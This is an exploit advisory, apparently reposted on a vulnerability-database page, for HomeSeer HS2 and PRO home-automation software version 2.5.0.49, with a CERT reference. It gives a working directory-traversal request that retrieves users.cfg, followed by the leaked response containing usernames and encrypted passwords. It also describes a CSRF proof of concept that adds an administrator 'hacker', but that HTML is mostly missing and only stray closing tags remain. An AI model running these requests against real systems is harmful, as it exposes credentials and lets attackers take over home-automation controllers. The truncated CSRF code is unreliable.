发布 2012-03-07 漏洞条目

HomeSeer HS2 and HomeSeer PRO – Multiple Vulnerabilities

Exploit Source

# HomeSeer Home Automation Software Multiple Web Vulnerabilities (0day)

# Date: 3/6/12

# Author: Silent_Dream

# Software Link: http://www.homeseer.com/pub/setuphs2_5_0_49.exe

# Version: 2.5.0.49

# Tested on: Win XP

# CERT VU#796883: http://www.kb.cert.org/vuls/id/796883

#Note: This affects both HomeSeer HS2 and HomeSeer PRO.

#Previously reported XSS attack vector (elog) reported to CERT was fixed in 2.5.0.49 update.

A) Directory Traversal: Retrieving the users.cfg file which contains HomeSeer usernames, access levels, and encrypted passwords.

ncat 192.168.0.1 80

GET /..\Config\users.cfg HTTP/1.0

HTTP/1.0 200 OK

Server: HomeSeer

Content-Type: application/

Accept-Ranges: bytes

Content-Length: 195

EFBBBF6775657374,EFBBBF4853454E4332774B51364D614C53436D534D41697A48617450514D513

D3D,EFBBBF31

EFBBBF64656661756C74,EFBBBF4853454E43327A68336A307A412F585153776F7032575A54534E6

3773D3D,EFBBBF36

B) Cross-Site Request Forgery: It is possible to add a new admin user by tricking logged-in admin to visit a malicious URL.

This POC adds user "hacker" with pass "hacked" as a HomeSeer admin.

<html>

<H2>HomeSeer CSRF Exploit to add new administrator account</H2>

</form>

</body>

</html>

相关漏洞条目